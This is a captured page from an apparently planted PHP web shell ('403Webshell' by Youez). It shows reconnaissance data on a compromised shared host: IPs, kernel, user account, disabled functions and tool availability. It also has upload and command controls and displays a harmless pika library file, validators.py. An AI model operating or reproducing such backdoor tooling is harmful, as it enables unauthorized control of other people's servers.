403Webshell
Server IP : 46.17.175.229  /  Your IP : 216.73.217.116
Web Server : LiteSpeed
System : Linux lt-bnk-web1163.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u528038015 ( 528038015)
PHP Version : 8.2.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/pika/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/pika/validators.py
"""
Common validation functions
"""

from pika.compat import basestring


def require_string(value, value_name):
    """Require that value is a string

    :raises: TypeError

    """
    if not isinstance(value, basestring):
        raise TypeError('%s must be a str or unicode str, but got %r' % (
            value_name,
            value,
        ))


def require_callback(callback, callback_name='callback'):
    """Require that callback is callable and is not None

    :raises: TypeError

    """
    if not callable(callback):
        raise TypeError('callback %s must be callable, but got %r' % (
            callback_name,
            callback,
        ))


def rpc_completion_callback(callback):
    """Verify callback is callable if not None

    :returns: boolean indicating nowait
    :rtype: bool
    :raises: TypeError

    """
    if callback is None:
        # No callback means we will not expect a response
        # i.e. nowait=True
        return True

    if callable(callback):
        # nowait=False
        return False
    else:
        raise TypeError('completion callback must be callable if not None')


def zero_or_greater(name, value):
    """Verify that value is zero or greater. If not, 'name'
    will be used in error message

    :raises: ValueError

    """
    if int(value) < 0:
        errmsg = '{} must be >= 0, but got {}'.format(name, value)
        raise ValueError(errmsg)

Youez - 2016 - github.com/yon3zu
LinuXploit